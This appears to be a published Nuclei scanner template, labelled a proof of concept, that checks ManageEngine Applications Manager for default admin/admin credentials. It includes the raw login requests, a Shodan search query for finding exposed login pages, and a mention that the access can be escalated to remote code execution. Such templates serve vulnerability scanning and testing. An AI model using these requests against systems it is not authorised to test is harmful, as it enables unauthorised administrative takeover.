app-manager-default-login: ManageEngine Applications Manager - Default Credentials

2025-08-01 ManageEngine Applications Manager PoC Public

Description

Default credentials grants administrative access to ManageEngine Applications Manager, which can be later escalated into a RCE via DB queries.

PoC

id: app-manager-default-login

info:
  name: ManageEngine Applications Manager - Default Credentials
  author: 0midC13
  severity: high
  description: |
    Default credentials grants administrative access to ManageEngine Applications Manager, which can be later escalated into a RCE via DB queries.
  reference:
    - https://www.manageengine.com/products/applications_manager/
  metadata:
    shodan-query: title:"Applications Manager Login Screen"
    verified: true
    max-request: 3
  tags: default-login,manageengine,zoho,vuln

variables:
  username: "admin"
  password: "admin"

http:
  - raw:
      - |
        GET /index.do HTTP/1.1
        Host: {{Hostname}}

  - raw:
      - |
        POST /j_security_check HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/index.do

        clienttype=html&webstart=&j_username=admin&ScreenWidth=1280&ScreenHeight=709&username={{username}}&j_password={{password}}

  - raw:
      - |
        GET /showresource.do?group=All&method=showResourceTypes&monitor_viewtype=categoryview HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}/j_security_check

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "Super Administrator"
          - "Add Application"
        condition: and

      - type: word
        part: body
        words:
          - "j_username"
          - "j_password"
          - "clienttype=html"
        condition: or
        negative: true
# digest: 4b0a00483046022100aae678531e4d89bf0f59789e2e6cd8e2b65bba7979fec88a5c0fc5162ba05fe3022100a87a37ff4ad76dae2f87c566cf110c59d747b90dfb15ecb8c792f2b1e1e23ec7:922c64590222798bb761d5b6d8e72950

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